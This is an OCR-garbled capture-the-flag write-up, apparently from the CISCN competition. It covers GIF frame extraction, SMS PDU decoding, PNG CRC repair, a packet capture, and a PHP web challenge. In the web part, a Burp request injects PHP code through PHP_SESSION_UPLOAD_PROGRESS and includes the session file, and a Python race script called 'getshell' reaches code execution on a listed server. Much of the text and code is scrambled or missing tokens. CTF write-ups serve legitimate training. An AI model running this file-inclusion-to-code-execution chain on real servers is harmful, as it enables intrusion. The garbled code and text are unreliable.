i Ffmpeg BT — Wiz Wipk &

\ffmpeg.exe -i .\running_pixel.gif ./img/%d.png




BRGS0 kB A, FHANRXERE, RAETERIELA, B&E§HIXARGB: 233,233,233 B RHR

EHEM 30(0) WER(V BOW HEH)

BEHSNNPEOHS Do e TRk i%Oy

08 Web BiE

IR XL EHBR ReB: 233,233,233 MERBRIUH R, Lflfag, #HBRLEHKE—KE/FRFHRK

from PIL import Image
flag_img = Image.new( ,(400,400))

for name in (1,383):

framepic Image. ( (name)

framepic = framepic.convert(

width,height = framepic.size

for w in (width):

for h in (height):
if framepic.getpixel((w,h)) (CEENVEEIVEE)E
flag img.putpixel((h,w),1)

flag img.save( (name)




ools - in » flag
(©: T 4. > im, f
3] Is > Misc > fimpeg-43.1 5 bi g

> it >
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fiE&%r: middle_source

php

highlight file(__ FILE_);

echo

$fielf=$_POST[ Ik

$cf $_POST][

if(file_exists($cf)){
include $cf;
echo $$field;
exit;

)i

else{
echo 5
exit;

)i

your flag is in some file in

15

ffblog.csdn.netfmochu 7777777




Wordli

123.60.221.85:23275/

< C' © % 12360.2218523275
& Google S
total 16 drwxr-xr-x 1 root root 4096 May 6 06:02 . drwxr-xr-x 1 root root 4096 Sep 22 2016 .. -rw-r--r—- 1 root root 257 Apr 29 11:46 index.php -rw-r--r-- 1 root root 19 Apr

29 10:51 you_can_seseeesee_me.php

PHP 7.4.3 - phpinfo()

<« c o

S Google
1T\T1le_exX1STS\3CT)) {

include $cf;
echo §$field:

exit;

echo
exit;
1
}
2> your flag is in some file in /etc

PHP Version 7.4.3 php

System Linux 058e4de1e210 3.10.0-1160.15.2.el7.x86_64 #1 SMP Wed Feb 3 15:06:38 UTC 2021 x86_64

Build Date Oct 6 2020 15:47:56

Server API Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path Jetc/php/7.4/apache2 .

o it 7 Sk = HackBar &9 Cook




Encryption ~  Encoding ~ SQL ~ XSS ~ Other ~

@) Load URL http://123.60.221.85:23275/
4 splituRL

» Execute

Post data [0 Referer [0 User Agent [1 Cookies Clear All

cf=_/_/_jvarwwwihimliyou_can_seeeeceee_me php

A disable_functions

Directive

Contribute now! HackBar v2

default_mimetype

text/html

text/html

disable_classes

error_reportingfile_put contents fopen furite,temp

nam fsockopen,error_log,pentl_alarm pentl_fork pen
tl_waitpid,pentl_wait,pentl_wifexited, pentl_wifstoppe
dpentl_wifsignaled pentl_wifcontinued pentl_wexitst
atus, pentl_wtermsig,pentl_wstopsig,pentl_signal pen
tl_signal_dispatch,pcntl_get last_error, pentl_strerror,
pentl_sigprocmask pentl_sigwaitino,pontl_sigtimed

wait,pentl_exec, pentl_getpriority,pentl_setpriority,ch

error_reporting,file_put contents,fopen,fwrite temp
nam, fsockopen,error_log,pent]_alarm,pentl_fork pen
tl_waitpid,pentl_wait,pentl_wifexited pentl_wifstoppe
d,pentl_wifsignaled pentl_wifcontinued pentl_wexitst
atus, pentl_wtermsig,pentl_wstopsig,pentl_signal pen
tl_signal_dispatch,pcntl_get last_error,pentl_strerror,
pentl_sigprocmask, pentl_sigwaitinfo,pentl_sigtimed
wait,pcntl_exec, pentl_getpriority, pentl_setpriority,ch

mod, exec,system passthru,shell - hellarg
\escapeshellcmd,proc_close,proc_open,ini_alterdl.p

open,pentl_exec socket accept sacket_bind,socket ¢
lear_error,socket_close socket_connect socket_creat
e_listen socket_create_pair,socket_create,socket_get
_option,socket getpeername,socket getsackname,s
ocket last errorsacket listen socket_read socket rec
v,socket recvfrom socket selectsacket send, socket
sendto,socket_set_block,socket_set_nonblock socket
_set_option,socket_shutdown,socket_strerror,socket
_write,stream_socket_client,stream_socket_server,pfs
ockopen,disk total space,disk free_space,chown,dis
kireespace,getrusage,get_current_user,getmyuid,get
mypid,dl leak listen, chgrp, link symlink dlopen proc_

nice,proc_get_stats, proc_terminate, shell_exec sh2_ex
ec,posix_getpwuid, posix_getgrgid,posix kil ini_resto
re,mkfifo, dbmopen,dbase_open filepro,filepro_rowe
ount posix_mkfifo,putenv,sleep,chdirini_set mkdir,u

nlink

mod, passthru,shell_exec, I
\escapeshellemd proc_close, proc_openini_alterdl p
open,pentl_execsocket accept socket_bind,socket ¢
lear_errorsocket_close socket_connect socket_creat
e_listen,socket_create_pair,socket_create,socket_get
_option,socket_getpeemname,socket getsackname,s
acket last_error socket listen;socket_read socket rec
v,socket recvfrom socket select;socket send socket
sendto,socket_set_block socket_set_nonblock,socket
_set_option,sockst_shutdown,socket_strerror,socket
_write,stream_socket_client,stream_socket_server,pfs
ockopen disk total space,dick free space,chown,dis
Idreespace,getrusage,get_current_user,getmyuid,get
mypid.dl leak listen, chgrp link symlink dlopen,proc_
nice,proc_get._stats, proc_terminate,shell_exec.sh2_ex
ec,posix_getpwuid, posix_getgrgid,posix_kill ini_resto
re,mkfifo,dbmopen.dbase_open filepro,filepro_rowe
ount,posix_mkfifo, puteny,sleep, chdirini_set mkdir,u
nlink

display errors

disable_functions A v | SRR BRSO

MRFEFS1 CEFEW)

Encryption ~ Encoding ~ 8QL ~ XSS - Other -
@ Load URL http://123.60.221.85:23275/
B spiturL
Y Bxecute Postdata [0 Referer [0 User Agent [1 Cookies Clear All
cf=_/./..ar/www/himl/you_can_seeeeeeee_me.php

WIBGR T — BB MR, FEBE R, BEH%getshel,

session.save_path

Off

Off

EX4B %) PHP_SESSION_UPLOAD PROGRESSHL % SessionCft

Jvarflibfphp/sessions/daddaafjf

Jvar/libfphp/sessions/daddaafif

session.serialize_handler Fim H
session.sid_bits per character 4 4
session.sid length 2 2
session.upload | cleanup on on
session.upload [Ti 10T enabled On On
session.upload 1o LT freq 1% 1%
session.upload [T T T.min_freq 1 1

session.upload Ti o1 T-name
session.upload 11 1oT - prefix

PHP_SESSION_UPLOAD_[Jile]e]

[N orogre::

RESS PHP_SESSION_UPLOAD_[Ji{e]e]

upload [T

RESS]

session.use_cookies 1 1

session.use_only_cookies 1 1

session.use_strict_ mode 0 0

session.use_trans_sid 0 0
chman

progress Alwv

RAFZNS0 DEFEFS) MEEEW) =15 EEE 10 NEN

Encryption ~  Encoding ~ SQL ~ XSS~ Other
g Load URL hitp://123.60.221.85.23275/
g@ Split URL
») Execute

Postdata [ Referer [] User Agent [] Cookies Clear All

cf=_/_/ Nariwww/himl/you_can_seeeeeeee_me.php

BB WERIFER, session.save_path tH7Ephpinfo if L E

Directive Local Value Master Value
session.cookie_path / 7
session.cookie_samesite
session.cookie_secure L] 0
session.gc_divisor 1000 1000




session.gc_maxlifetime 1440 1440
session.gc. ili L] 0
session.lazy_write On On
session.name PHPSESSID PHPSESSID

session.referer_check

session.save_handler files files

session. Jvar/lib/php/sessions/dadcjaafjf fvar/lib/php/sessions/dadcjaafif
session.serialize_handler php php

session.sid bits per character 4 4

session.sid_length 32 32
session.upload_progress.cleanup On On
session.upload_progress.enabled On On
session.upload_progress.freq 1% 1%

session.upload_progress.min_freq 1

1

session.upload_progress.name PHP_SESSION_UPLOAD_PROGRESS

PHP_SESSION_UPLOAD_PROGRESS

session.upload_progress.prefix upload_progress_

upload_progress_

[vepath |~V EE2B0) EHAASO DESSSS) LESOW 517 H6E 1

® O== Desle DiEE NEE EEsE O s B =

Encryption ~ Encoding ~ SQL v XSS~ Other ~

@ Load URL hitp://123.60.221.85:23275/
gg Split URL

») Execute
Postdata [J Referer [J User Agent [J Cookies Clear All

cf=_J/_/_ivariwww/htmlfyou_can_seeeeeeee_me php

session.save_path /var/lib/php/sessions/dadcjaafjf

¥ pocBf AT

U W intruder attack 30

| Attack Save Columns

_J Results T Target I Positions T Payloads I Options ]

S| Filter: Showing all items ®
3 Request [ Payload | Status | Error |'I'|meout| Length | Comment
/768 null 200 O [ 2940 [a]
1o 200 g ] 2229 )
1 null 200 O] [ 2229
5 2 null 200 ] [] 2229
4l 3 null 200 O] [ 2229
4 null 200 ] [] 2229
dl 5 null 200 O] [ 2229
6 null 200 ] [] 2229
7 null 200 O] [ 2229
K null 200 O ] 2229 F
Vi
A J Request I Response }
J Raw T Params T Headers I Hex ]
[

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;

boundary=-------------—-—ccceeee - 0ab638299985df4a5f30d76098c488b8
JCookie: PHPSESSID=rmochu?

Content-Length: 534

Connection: close

[

d-—------ 0ab638399985df4a5f30d76098c488b8
- Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS”

<?php print_r(scandir('/")),?>
_____________________________ NahA2R2000R5AFAAEFANATANORCARRRA

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64, x64; rv.88.0) Gecko/20100101 Firefox/88.0
Accept text/html, application/shtml+xml, applicationsml;g=0.9,image/webp,*/*,q=0.8
Accept-Language: zh-CMN,zh;q=0.8,zh-TW,q=0.7,zh-HK,q=0.5,en-US;q=0.3,en;,q=0.2




d
Content-Disposition: form-data; name="cf"

N AR N 0 A T ] T T e b

A varflib/php/sessions/dadcjaafjf/sess_rmochu?
————————————————————————————— 0ab638299985df4a5f30d76098c488b8
Content-Disposition: form-data; narme="file"; filenarme="rmochu7 td"

Fmochu? =
————————————————————————————— 0ab636399985df4a5f30d76098c488bE-- i
d
< + = Type a search term 0 matches
I':i”iS*'“*'d L — P e P ] "'Mummm!g!gﬂl
B! Intruder attack 30 — O * ?
Attack Save Columns
j Results T Target I Positions T Payloads I Options ]
|| Filter: Showing all items ®_
Request | Payload |Status | Emor | Timeout | Length v | Comment
766 null 200 O C] 2940 5
0 200 ] ] 2229
i1 null 200 O] O 2229 E
42 null 200 ] ] 2229
3 null 200 O] O 2229 E
4 null 200 ] ] 2229 >
N null 200 O] O 2229 t
6 nul 200 O O 2229 [
7 null 200 O] O 2229
8 null 200 O O 2229 K
— it
] Reguest Respoﬂse1
_jRawT Headers I Hex I Render ]
</code>your flag is in some file in /etc uplocad_progress_Array k
( !
2 [0] == . E!
[ == ..
[2] => .dockerenv
[3] == bin ki
A [4] == boot
| (5] => dev
[6] == entrypoint.sh ¢
[7] == etc ki
A [8] => home o
) [9] == lib
[10] => lib64
[ => media s
4 [12] == mnt
' [13] => opt 1
[14] => proc 1
| [15] => root d
[16] == run
[17] == sbin
[18] == srv
[19] == sys
[20] == tmp
[21] == usr v




@ EJ LLJ u Type a search term 0 matchés

Finished | aiiiniciiinlnieEeizin|amai=iiinnleioinis Fi A A a1

import io

import requests

io.BytesIO(
}
sessid}

sessid}

def writeshell(session):
while True:

resp session.post(url=myurl, data=writedata, files={ : , myfile)}, cookies=mycookie)

def getshell(session):
while True:

resp session.post(url=myurl, data=getshelldata)

if in resp.text:
print(resp.text)
break

else:
SERES

if _ _name__

session requests.session()

writeshell = threading.Thread(target=writeshell, args=(session,))
writeshell.daemon True

writeshell.start()

getshell(session)




B Ja RKPflag?E /etc/cfdgcjaedb/eehdebhdfg/debbeabiec/caghechgag/deffeaecfc/fl444444g

E¥ powershell x PowerShell X N - o X
Ps C:\Users\Administrator\Downloads> python .\exp.py
<code><span style="color: #0688008">
<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$fielf</span><span style="color: #807700">=</span><span style="color: #000@BB">$_POST</span><span style="color: #007700">[</span><span style="c
<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #8808BB">$cf</span><span style="color: #807700">=</span><span style="color: #DDE0E0">"/tmp/app_auth/cfile/"</span><span style="color: #887780">.</span><
<br /></span><span style="color: #88BBBB">?&gt;</span>exit;nbsp;</span><span style="color: #DDB@A </span><span style="color: #6770 0">; #0008BB">$cF</span><span style="color: #887780">)){
</span>
</code>your flag is in some file in /etc upload_progress_CISCN{LTcIA-c7UTV-e2SDM-KzngL-JODKM-}

1:{i:0;a:7:{s:10:"field_name" i e ; 8:"tmp_name" ;N

9]
ding. Thread(

Tr




A bt
0011600D91685130402400F 00000AA1BE8329BFD6689DFE2D01D1DA683D273101D5D0699DIE1F30F
000106005910180F6000045747419644ECBE774103C2CA783DE66101D5D8699D9E133283D07D1D16590392D9FD3413810397D4ED3E7ABB719947FD7E52038FAED2E83DCF5B6B82C07
0011000D91685130402400F 00008ABOCI0OA351764EDE9OES52065462
0011600D91685130402400F000080B21770B770BAF6080FDAECESFDI4EIB6570636E91CC53D173BO4ECOAEABFF1FB077003400360035
04910180F6040D91685130402400F0000012405291349508A035316D4C1B976F621BBI5626936DEADAS89CB3C5CCE3308E668EES566E3FB2D46BBCSCEE258AD26B6CIC639B2BI560EC7CAE23239379BES
64397219761397C563B2F886ABCDCEE4BODI3683CDC2639B591COE876166B3D92616CB6663B1B96C1697C7EASBCCO69
3E162B7593926ABE56E399B595C2E8BCD33734C66A6CDCAEL1ACD3C3697CBES1ACD1C8BED71
04910180F6040D91685130402400F0000012405291443408A0E65A381723DFC6E21ACD4C868971B3724E76138BCDE2F28D6CABC76431F24C66A3ES56E349C99569B8DC330B3D86C2ED76C319B6C5C2BDY
C6B4F2CC7CABDD70305A39172E8B63B7304E4CA3C56AB1DIF886ABES6263DA6CICA3ES6662B1AC66BBS DAAD56B
6E5C6B55C2E261BE7CA3233EC86ABI9CBB4DICD160BD764B3B2397C1BDF68B75CDI6C268BCD
04910180F6040D91685130402400F0000012405291938408A06418ED46168B733858F9560BC7C4B91C3926A3E5666359B85CA6D56030F3D8968B91C964186E06BBD5CCB3310CA69BCICCESSACDOEBBI1
CDB1588D7C2BE362359B5956A3916961B16C2613C7C8645A382636DB6SE11C8D2686CDC6639B4D5613E372BOF0O789C2
3DBC8E2D88DA46CESDC330DC782C23E362B41CRE1793E56C329A2D4CAES571B4324E96A39961
04910180F6040D91685130402400F0000012405291043208A0E19B8C260E93CDB332ECI96A3956BB1588C36C6C1CCBISBHC5C86917363DCACA6CES961341C994C8E8D61B8DBBCICIB8F67B89979468E8D
6F3933B9360B9BC338D8588CCBC564B571996CA6C16063F3AC6CA3D16235734C3C239B63B999783CC3CICC33712E97A
38561E39AD9961BCFC6BO992(77C38969B1DABCA69ED56E6219CD6CIECS5C237B21866869961
04910180F6040D91685130402400F0000012405291340308A0BI9ACC3C86D16664F12D37B68963649A4D7CCBI57162982C879395C7629919169EC5CA436B318178E95C7339B8D46C39173B798594C8BD9
6A66B1B97C238FC5B39CED9623D772B2B2B86C86856537592D3CC6DDCAE6B13836BEES6C66B26CO6C395CD6232F9962
B976B63186C66B6CICC63F3AC6C36DB64E25A3846938DCBE15A2E36868D6BEASAAE368BDI72
04910180F6040D91685130402400F0000012405291541508A0B7 F25896BBD16262F18D6C9B916F37F2F866B6D572B3B2794C26DB6EE6B1386C1E9BCI39B3D9I8COBE3726371995C138B6FB71AD97C2B97
6F39720D77CB896BBODBOD27A391C563722E761BDBCEE318ADIC2BCF6461B2786COE93C331B1B926269367B9DC6DE62
69B67649B996696856FE219CD1C169B6FB6DCBC5CAEDSC26233F91613DF703119AC4C269371
04910180F6040D91685130402400F0000012405291849408A0B1DC8D1C26E3CA31B31916BBDD683719593CBBC56EB4B1D8769B8967B3726C66ABCI6C35DA0DA7OBC7CC359B8C661B9B6135328C96A395
C3B5710C1726D7C6B5DAB83C2B8767E5D94C9CB391C9E2708E162B93(C96271CE9623DF6CB1718D162E8B73651BD9260
BC370GE3DB78961BE760B8726C5CA3DD6OE39CAC16AE8569B1996D862BCBCAB25A6D7CIBDD6S
04910180F6040D91685130402400F0000012405291046508A066186E3C9B9965325C1966A6CDCC33DCAC362E9B6BB4DID81623DF62BODECD3C9389C3B01B2DOCBBDD68B1FR6C5CCBESGEB41AS91CB689
65361B8ESCABE1CCB15A1846BECD7OEABO994C33E372B398F8662BC76AB85C2D5693E568B471982C2BCB6A33B24CAC8
6D1C6399C38970BC3683071B98C338BCD66B26C56A6D5C831B24C3COBCBC4615AD93CIEI56D
04910180F6040D91685130402400F0000012405291343408A0E4B1F966A6D5663473CE46BBC5CAB7B218471EDF72E35B995CAESDCD37B3B81C8EDICAE4A194D8CB39969E11A6C5623937335B34C6613C7
66BA1ACC2C8EDIC6325C7936B6E1C83231CE3C2BIB6937983857169B6D33F1385C1687CD62722D079BCI6ABIF22C57B
6D96CB4DA787C83C1C4E35B9966AE8DCSB31BDI8COBE37237B1D81C26DFC837F23817AEDS6E
04910180F6040D91685130402400F0000012405291743008A0399B58760BCF64655938172BDFC6329BCD46BE996B66338D96BBCICA3571CD162E8B73621B995C9BC570B3F10D87BBDD6463336C463393
6FEA9B8C560EDB60BOBOCC8693C16EBADB583C86E17061D82DOCBBCI6ABI5I4E3COBC36ABIB14C3683D96C34586C061
BCF6635DC2C270ECF6C311C398693C1CC30736E3CB38971B871384626CB60B25A181786E172
04910180F6040D91685130402400F0000012405291447008A03372B9868BC16E345B8D161B93C5E21C6C26BECSCC31186E66A3D568B4DBAD66BECIC864B1D916A3C970B69B58860B8FC53298783CC395
69379C3917AEC56EB230B96CB691C5E69BAC1C338BC766B32D2726976F3698B9469B896DB79C2C1636876FB3D838671
B8F6D37DC982CAED56E339B3837968D73B41B6E7CC3(C960361C8D8C1BI76933F22C5CB3D160
04910180F6040D91685130402400F0000012405291931308A0E6DC18072BD3CA39B38C5623DF64B6BOEC36BBCSC6E61IAAE7CC3CD70B85B6E762397CDB1B16C6COEDB70B85979469891C364582D27B6DD
C6B71AB99623C7CA37D818171EE7CA61F35876ABI1CBE6B1CD662ED76C3571B87633DB70B25B583CB3CD6866181946B
3C5CCB7707986BBC1CCE6B22C679BE1CAB59ABD5COEI363365B6C26A68D7165330E07B3CDC6
04910180F6040D91685130402400F0000012405291444508A0BODICDACIEE76EB1D9385CBB91CDB6B22C17BBD5C6379C2D16268FC5B8DCDE9CIBDICC33732D5636C36666DIACT6B3D5CCH31
CB309A594C86E57264F32D6796DD6EB6198C46B391C56272CD56ABDD6ABISA383CA6C1CAB5997946338B6DB5704C569
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http://www.sendsms.cn/pdu/
https://smspdu.benjaminerhart.com/

EHE TR EREE T

RHEEPDURBMEBIR

PDU Format Converter (Encoder/Decoder) for GSM SMS.

PDU SMS message creator Hexadecimal PDU Message Entry/Display Resultant 7/8/16 Bit readable PDU Message
SMSC ]
Receiver +8613601019694
. . 0011000091 665130402400 SHSCH
Alphabet Size 0708@16 FO0000ALIEER320RFIARRD Receipient: +861503044200
DFEZD01DIDAGSID2T3101D 0

Message Class SD0GYSDIELF 30F Validity-Rel 4d \
Receipt O TE_FID: 00

TE_DCS: 00

Validity (Relative) O TP_DCs- }%Hﬁgﬁiﬁ%ﬁg

popiz: neompreszed Text
B B ERAEEERER No class
& o www, sendsms. cn Llphabet:Default

hello, bob!what iz the
flag?
Length: 27

BT LTI — 25 8

hello,bob!what is the flag?

the first part of the flag is the first 8 digits of your phone number

R — i rflag AEWCE B AT /\fL: 15030442



JETEE TR 0491 FFk I —ITHR R KE 160 HI+ /S HEHIEE

SMSC#+18086
Sender:+8615@384426
TimeStamp:25/64/21 19:43:59 GMT ?

TP_Di

TP_DCS-popis:Uncompressed Text
No c

Alphabet:Default

5b4c4ce7bed5edd6d5cbe61fcagaf193ca71471db155b62c9df5ealebed933929de07bebedb7853ddafe303ac6Thaaadf ffebb23cbfefbecd716028173e1259796Tbecbf3T12f43ea54f cfeees4f11cs
Length: 160

SMSC#+10086
Sender:+8615030442000
TimeStamp:25/@4/21 19:44:43 GMT ?
TP_PID:00

TP_DCS:00
TP_DCS-popis:Uncompressed Text
No c s

Alphabet:Default

t5a91d7cb54Tdab83e927bbfbe7d6a121d32649748F453cadfbffe56162c5e5c4e31757804e9aeb17a8b441513c78591c43c9493bb2567c6a475269c59912c9e218785Fe43761a523efa7c7479e T tdbf
Length:160

SMSC#+18086
Sender:+8615030442008
TimeStamp:25/@4/21 19:39:48 GMT ?

ee
popis:Uncompressed Text
No c 5
Alphabet:Default

de47dbbo80e75a1b99d12493c2aee4588Tc691ddde8307513cee032fe55687dT115d7e8156F254d4ab! bldd4albfe4a944b@3ccb625b890acc9dedbl74d9ca@8cc2d8149881296246ad5a84e829410
Length:160

SMSC#+10886
Sender:+8615838442000
TimeStamp:25/84/21 19:48:23 GMT ?
TP_PID:80

popis:Uncompressed Text

No c s
Alphabet:Default

a724badf3e0794e51114c887971cedd9c835d9T048ddd1c8873d9cc383T3d1c79fd53ataBech89125cedf48@cT3e64415F1b3dT193bec38213b9994aBc5F69c3 978b41534d357b24fF31a7dbefate
Length: 160

B — 1T AR R BB TR B — B, 1X BRI B8 L 12 2 42 HE I 1) G PP SR — B — g il (1
PR poU ZRESHLN: hitps://mirokaku.github.io/Blog/2017/PDU-Encode/


https://mirokaku.github.io/Blog/2017/PDU-Encode/

BATH 0401 FFkFT BT EHIHR, HAFAN data2.txt o SRR T png B Sk 7N B B0 .

.\code.py
003f0806000000bffaf2ddopepeRn17352474200aecelce90000000467014dU10008b18f0bfc6185

4f1d ae3a33ci6eu9cl8:3llﬂc79c9e1F5e5cua9155e1bdadalu3aasu91Fc';'95abd6d5'73f9293338b2990f'7d79f_saﬁ : escﬁfaa:ﬁ2aa’ﬂ'E)eE).Glede6u22lF1baﬁ5eeFJ26ue95566699’7da0deb9237b8cheZc‘b
b26efdaéuaeff3dle3aadc64824b37c7858b9655baf3172cae3acedaddfa9e6c7893172c3e8efa3a7i@ilT3dflalc3F80993abuc6ud186173a6U868757ea8f1799e0892172fb0e829eBe9lc77ed682209
BeBf7U3a5f673fcO818bB7feeadlcb3ed83b39c225877afa29fuUs blUc98708e3b253F32cE583UdF239aacfTelbf5d9d86a7ffae6113c3cededdd3b91813cdadl52bla7ddc8eld7cfI8a355be5c38fae
f9c80ele9f2u5d726a27371cf58e783887937deflc2cfas883e3U3dada59b67c75¢59d1e78c8acdeafc275defc66fe565ba57f6827ab363Ufodeu6lfTae3876ffe29638e556deadl6613blic8ef88863C

88c377cb2bfc530bcc8922250ef257a7edl1163U72dce26f36650103adacc73375d6a664bfala71d9f55abd7d782ae23b99a6d97clf5dab279cbb765Fd86af cacagfiSafiadeahdisosepdsag sy

FRHE AT DALE SRR 5 3 HR B 1) I 55 X, png SO, 7E data2.txt KA TR A —ITRBEKETRL 160 M2 100 KF/FH, X—H
REERK, mExRkmEm T BAEEER.

82a6077f383ee791280c3a336aceaacecHB6cTclby716cd59b812deBe5ea8863b681628ba37dbdc376U49d201c71165e30cf2e87250U9c93658e720829fUB2ce8c3f7cdafa5b29510584993aef91523be
637bludfbetd3d7Uc9cfcc5118cFfbasidcoblobaf719eFd 1c2e57378bu5778dadagbedblUe 9d7e8alefac538afdebu8fbc2b661cedl827e782113ded72f8eceb5a306Uc7Bca66c850F965cd58303

cf397a6cad5d3ddacadlcl3bfbc8ll8cbbeb6f78569a6clc86b26bB36839Ffacaeed852Ffb8ecl37c6c71laabacel6813e8fU3f79eBa2el5cb2862F3892237d87fefUlodufe07afaed9b5ed18bobfbec263
;
Bdclla7ffuf99beds8f1e9d6cb79. u93ff297f131f338d5dfBmmﬂz‘gbd:zbfedaﬂ':dd:ﬁ i96e6e811e6dbcfun3d99c938fufb66de716c0d98bbef8d9fa33uefo3edbdacfedu37ebu9c9d3ldoe
s
- e, 7ol
6b856d36913af3a75.91236daZBdZduSBZcQQHﬂaB'TddSB'J’Q29ﬁl:2a"‘l'lﬂaucﬁl4ffffdu7l437398:BIIZBB:uﬁef7f295879baaaa7es2f5.221Bﬂed9c5355952e5a9m‘663b2cfba2b937356d6f1f53a15b77d52
- o

553:3bf5b8667cf9ﬂclbBebl3lld633daf2l-h:55E35c3b9l7ﬁbf2f83237737275d317bSﬁay-aééla953d7:3Bf6183b33dl:l:ef-167dgdﬁgudSa’TBEEﬁ'TQBf'?bGE)aUSMfGE9e7eu68c17175ccf89'7ea€l'7'7lb'7b

7bfubccbf57afd5c5fcf2ufTu717fu337d75Fffbb1lue7df8013facfb96f3e9b263cc3U70512740000000009U5Uellaed26082

PS C:\Users\Administrator\Downloads> |

P ABATBAE X — TS5 KEA N 160 K&, RAHAWT
T R pdudi A5 A RS R AR S A 5V 7 223 4 R MR

pip install smspdu

pip install smspdudecoder




from time import strptime,mktime
from smspdu.codecs import GSM

from binascii import unhexlify

with ) as f:
lines f.readlines()
mydic {}
for line in lines:
Year line[34:36][::-1]
Month line[36:38][::-1]
DEYW] line[38:40][::-1]
Hour line[40:42][::-1]
Minute line[42:44][::-1]
Second line[44:46][::-1]
time . (Year, Month, Day, Hour, Minute, Second)
timestamp (mktime(strptime(time, )))
mydic[lines.index(line)] timestamp
mydic (mydic.items(), key=lambda item: item[1], reverse=False)
with ( 5 ) as f:
for line_num in mydic:
line_num line_num[@]
pducode lines[line_num][50:330]
data = GSM.decode(pducode)
if (data) 160:
f.write(unhexlify(data))
else:
pass

B3] —5K crc REIRIEHIE

4 010 Editor ini r\Downloads\flag.png:3
XHE RFEEH BRO #HEBY #R0 HEFEO) #EL #H0) IRD s:0Ww FEH
R EfgnmF 2REDE SEBH> AR T ERe 2|l Efs > n

et 1ol 1. txt 2. txt 3. txt 4, txt 5. txt 6. txt . bt 9, txt 10, txt flag png:1 flag png:2
¥ OREAT_ G0 v GETEE v ST

89 50 4E 47 0D OA 1A 0a 00 00 49
00 00 00 3F 00 00 00 3F 08 00 00
DD 00 00 00 01 73 52 47 42 AE ic
00 04 67 41 4D 41 00 00 Bl 0B 61
00 09 70 48 59 73 00 00 OE 00 0E
6F A8 64 00 BF 57 49 44 54 SE
D7 56 47 28 FE 12 DC 43 10 DC
74 DC 3D 1D F7 10 77 97 8E a4 24
EE EE 10 71 6F DD BD CF 39 E3 c?
CE 4F D5 E1l 3D FB DE 71 A8 AD 55 35 BD 1. g-USk
66 CD 59 55 4B 9E 2E 2B 56 2D E6 2D RZ.+VO-oe—*"
26 4E 2B €7 CC 2D 4B 97 2c 67
66 CD 2F 2Cc AC 75|53 cc 53 £t/s¢,—uss§t, ss§i-
E7 EA E6 ) 65 FE 82 25 65 F1 15 65 céaimeb, $efi’ . ctuE
39 65 65 EA B4 59 €5 D6 F9
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DE FC i 71 €1 €2 |A5 ! BA
5A 60 DI 1a BE 32 69 SA |EF Z N,&.%
S5A BC ) 31 6E €2 5 52 Zis3 ) Inb™8a"Z. .
94 90 1 2c 5D B6 5 86
4F 1D 0D 6E 49 D co
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73 B2 ) 26 0s8)38°..)pe
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B T DA P R B 9 e B

import zlib
import struct

).read()
(fr[12:29])
( (fr[29:33]).replace( , ") .replace( ).replace(

n
for w in
width (struct.pack( > W))
for h in (n):
height (struct.pack( , h))
for x in (4):
data[x+4] = width[x]
data[x+8] height[x]

crc32result zlib.crc32(data)
if crc32result crc32key:
print(width,height)

newpic (fr)

for x in (4):
newpic[x+16] width[x]
newpic|[x+20] height[x]

fw ( P )

fw.write(newpic)

fw.close

BT AR EIE AR AEERE

PS C:\Users\Administrator\Downloads> python .\crc.py

bytearray(b ) bytearray(b

&4 5 FE B T 15 Fllflag
55 5 S B URD %
MISC

robot



FTHI A SR

RobotStudiotl#s A&, BE#HF cap.pcapng MER



RIRE =Ateplit, HPBE—RARMRK, HEERMNREEB/NFEHALRER. 2B MR TR LT HE

M Wireshark - {88 TCP % (tcp.stream eq 0) - cap.pcapng - m} X
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PS C:\Users\Administrator\Downloads\robot_5324b1f2bef 5b28bcadfld3basafc(2)>

from PIL import Image

import re

5 ) as f:
reg.findall(f.read())

Image.new( , (400, 400))
i in data:
xy = (int(i[e]), (i[1]))
img.putpixel(xy, 1)

img.save( )



from hashlib import md5
md5 ( .encode()).hexdigest()

CISCN{d4f1fb80bc11ffd722861367747c0f10}
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